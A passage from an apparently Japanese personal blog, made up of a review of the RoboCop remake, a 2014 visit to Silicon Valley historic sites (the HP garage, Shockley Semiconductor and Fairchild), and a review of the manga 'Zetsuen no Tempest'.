ただ、極めて現代的なSF映画としてすべてが再構築されているので、旧作ファンやバーホーベンファンが見ると、これは違うな、ということで残念な気分になる点はあるかなと思います。

端的に言うと、旧作の良かったところというのは何一つ継承しておりません。そうした美点を期待すると、裏切られた、という気分になるかもしれません。「殉職した警官の体を使ったロボット警官」というコンセプトをもとに、いちから作りなおした映画だと理解するとよいのではないかなと。

以下ネタバレを多少ふくみつつ感想を書いておきますが――

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ロボコップをリメイクするにあたって、製作陣はすべての大前提を考えることにしたようです。というのは「なんでまたロボコップみたいな異様なモノを作らざるを得なかったのか?」という問題ですね。なんでまた、ギャングに殺された警官を改造してまでロボコップのようなグロテスクな存在を作ることになったのか?

これはバーホーベンの旧作では答えられていない疑問です。とくに説明がないということにこの設定のグロテスクさがあるとも言える。でも現代のSF映画としてリメイクするときに、それを語らないというのは映画としての強度を失ってしまう。少なくともリメイクの製作陣はそう考えたのではないか。

したがって本作のロボコップにはいろいろ重要な設定変更がなされています。ED209はすでに実用化され、米軍によって世界各地で運用されているわけです。ティンマンという人型のロボットも使われています。この技術を転用して、オムニ社は広大なマーケットでありながら進出できていない地域を目指したい。それは米国本土である、というのが本作の設定です。もちろん目的は軍ではなくて、警察の機械化を推進するということです。

ところが本作のアメリカは、海外の紛争地域ではロボットを運用しているものの、国内の警察力を機械化することについては強い感情的な反発があるとされています。反対論者のドレイファス上院議員によって警察の機械化を禁止する法案が提出されようとしていて、賛成派と反対派でやりあっているという設定です。機械はなにも感じることはない、被害者に共感することもない、それが問題だ、というのが反対派の論調です。

こうした状況を踏まえ、警察を機械化しつつ、人間らしさを残すという奇策というべきデモンストレーションプランが考案されます。それが、「重症を負った人間をサイボーグ化することで機械化警察の利点と人間らしさのハイブリッドを実現する」というプランであった……という設定です。

ですから、本作ではマーフィーは公式にも殉職していませんし、彼は機械によって強化されているけれども人間だということになっています。残された家族との関わりも大きな物語上のポイントとなります。オムニ社の人たちも、旧作みたいに権力争いに終始するろくでもない連中ばっかりというわけでもない。もちろんただの善人というわけではないけれども、自分たちの信じることのために最大限の努力をしている人たちだとは言えるかも。

その設定変更はどうなのか? という向きもあるでしょう。旧作らしさもない。でも、この「殉職した警官の体を使ったサイボーグ警官」というコンセプトとイメージから、いまこの時代に全く新しく再構築した映画としては、悪くない着地点なんじゃないでしょうか。そしてこの基本コンセプトとなるアメリカの設定は、極めて現代的であるなあ、と感心します。「なるほど、そういう映画にしたのね」と思った次第。

ちなみに映像もきちんとカッコイイので、その点も安心できます。

2014-02-17

シリコンバレー史跡めぐり

唐突に思い立って行ってみました。

1. ヒューレット・パッカード創業の地
ウィリアム・ヒューレットとデビッド・パッカードのふたりがヒューレット・パッカードを創業したのが1935年。パロアルトにあったパッカードの家のガレージでの創業でした。現在はnational register of historic placesとして登録されている史跡ということになるようです。

所在地はパロアルトのダウンタウンであるUniversity Avenueから数ブロック先。ダウンタウンらしさがなくなり、閑静な住宅街だなーと思って歩いていると見つかるといった具合です。
1枚目の写真の奥にある小屋が創業時のガレージなのだそうですが。

なお、1枚目の写真の茂みの奥に小さなプレートがあると思いますが、そこにも「私有地です」といった但し書きがあります。今なお、この家には誰かが住んでいるわけで、その前を勝手に史跡としてプレートが立っちゃってる状態なわけですね。いい迷惑かもしれない……。

さて、堂々と「シリコンバレー誕生の地」と書かれておりますし、確かにシリコンバレーの形成にHPが重要な役割を果たしたことは間違いではないでしょうが、この時点でのHPというのは計測器を作ってる会社だったわけですね。電気製品ではあるものの、シリコンや半導体とは無関係でした。

シリコンバレーという名称が出てくるまでには、ほかの2つの会社が大きく関わってきます。

2. ショックレー半導体研究所跡地
そもそもトランジスタの発明自体が1940年台のこと。ベル研究所で発明されたとのことでした。この発明に大きく関わったウィリアム・ショックレーは、1956年に世界で最初の半導体機器の会社であるショックレー半導体研究所を立ち上げ、所長となります。写真は、その跡地。研究所自体は現存しません。

場所はこの辺(注:ストリートビューへのリンク)。この辺に住んでいる人たち向けに書くと、マウンテンビューのサンアントニオショッピングセンターの北のはずれのほう。今となってはちょっとうらぶれたあたりですね……。奥の看板はハラールを売っているスーパー。ストビューだと営業中ですが、行ってみたらつぶれていました。

さて、ショックレーの研究所じたいは現存もしないし、今となっては「世界で初の半導体の会社」というぐらいでしかないかもしれません。せっかくの看板もなんかショボイし。でも、歴史的には大きな意味がありました。

ショックレーさんはノーベル物理学賞も受賞した偉大な研究者だったのですが、人間的にはいろいろめんどうくさい人だったようです。そういうこともあってか、8人の若手の研究員が裏切って相次いで辞めてしまうという事件を引き起こします。そして……。

3. フェアチャイルドセミコンダクター創業の地
辞めた8人の中には、ムーアの法則で知られるゴードン・ムーアなどもいました。彼ら8人はフェアチャイルド・カメラ・アンド・インストルメントという会社の出資を受け、フェアチャイルドセミコンダクターを創業します。
のちに親会社と折り合いが悪くなり、8人のうちゴードン・ムーアとロバート・ノイスはフェアチャイルドセミコンダクターを退職し、新しい会社を創業します。それがインテルです。こうした流れのなかに「シリコンバレー」という名前があるのでした。

フェアチャイルドセミコンダクターの創業の地は、ここ。ストリートビューでもプレートの存在は確認できますね。建物自体は今では別の会社のオフィスになっているようです。

なんとなくまとめ

この後、せっかくなのでアップル創業のガレージ(アシュトン・カッチャーの映画でも使われていたアレ)も見物に行ってみたんですが、あまりにも普通の住宅街だったので気が引けるなあと思っていたら「監視カメラ使ってるから変なことするな」みたいな看板まで立っていたので、通り過ぎるだけにしました。ストリートビューでは看板立ってないけど、やっぱり映画で話題になったし、ここを史跡にするという運動もあったりするので、いっぱい人が来たんでしょうね(人のことは言えないが)。住民にとってはいい迷惑なのかも。

それにしても、シリコンバレーなんて、たかが半世紀かそこらの歴史なんですよね。無理やり広く考えてHPの創業から考えても100年もない。それより前は、この辺りには農家しかいなくて、一面の農園とか果樹園であった(らしい)んですよね。さらに言えば、そもそも西洋人の入植じたい、この辺ではサンフランシスコがゴールドラッシュで盛り上がった1849年以前は相当細々としていたわけです。

なんとなく、そういう歴史に思いを馳せる週末でした。

2014-02-07

『絶園のテンペスト』。世界の存亡をかけたフーダニット

絶園のテンペスト

唐突ながらふと『絶園のテンペスト』を全巻イッキよみしました。といっても10冊ですが。世事にすっかり疎くなってしまいましたがアニメ化もされてたのね。まーけっこう面白かった。

いわゆる「能力バトルもの」の一種で、登場人物たちの一部は「はじまりの樹」とよばれる超常パワーをもった世界樹のようなものから力を授かる魔法使いの一族。彼らは伝承に背き、ひとり反対する姫君を離島に封じ込め、かつて「はじまりの樹」によって封じられたという「絶園の樹」の復活を目論みます。普通の人間である少年ふたりがふとしたきっかけから、このお姫様とつながり、「はじまりの樹」と「絶園の樹」をめぐる戦いに巻き込まれる、といった筋立て。

こういう基本的な設定そのものは言ってしまえばありきたりですが(それでも能力バトルものとしては魔法使いの設定などはけっこうユニークではあります)、ぼく個人としては、ストーリーが不思議にロジカルな組み立てになっているところに面白さを感じました。登場人物たちは自らの行動原理や行動規範を明らかにしつつ行動しているのですが、それらがパズルのように組み合わさって物語が進んでいく面白さがあります(そういう意味ではきわめていびつな、というか、きわめて人造的な感覚の強い物語です。amazonのレビューでも不評がそれなりにあるのはこの辺が理由かなと)。

さらにこの「パズル」を成り立たせるキモとなるのが、この作品のキーでもある「はじまりの樹」の設定で、こいつは世界の成り立ちにかかわる世界樹のようなものであり、物事の因果すら操ることができることになっています。このため、とくに物語の後半においては、ごく普通の少年である主人公ふたりがこうした物語に関わり重要な役割を(結果的にだが)負うことになるからには、そうなるだけの理由があるはずだ(でなければそこには、「はじまりの樹」の力が及びづらい「絶園の樹」の力が関わっているはずだ)、という論理が成り立つことになります。

主人公ふたり滝川吉野とその友人の不破真広が物語にかかわる根本的な原因は、「真広の妹が何者かによって殺された」という理不尽でした。したがって、その死はただの強盗などではなく、何らかの理由があってもたらされたものでなければならない、ということになります。ではその死は誰によって、なぜもたらされたのか? この謎が物語後半を駆動するエンジンとなっていきます。

まあとはいえミステリとしては弱くて、真相自体は読んでいればふつうは予想がつくんですが、世界の存亡をかけた戦いが、ひとりの少女の殺害の謎に収束していくあたりの展開はなかなか良い感じ。

物語自体は9巻で終わって、最終巻はいろんなキャラの外伝的なストーリーになっているので(それにしても最近こういうの多いですね)、一般的には能力バトル+キャラクターの関係性を楽しむものとして読まれており、こういう読み方は邪道かもしれません、けどね。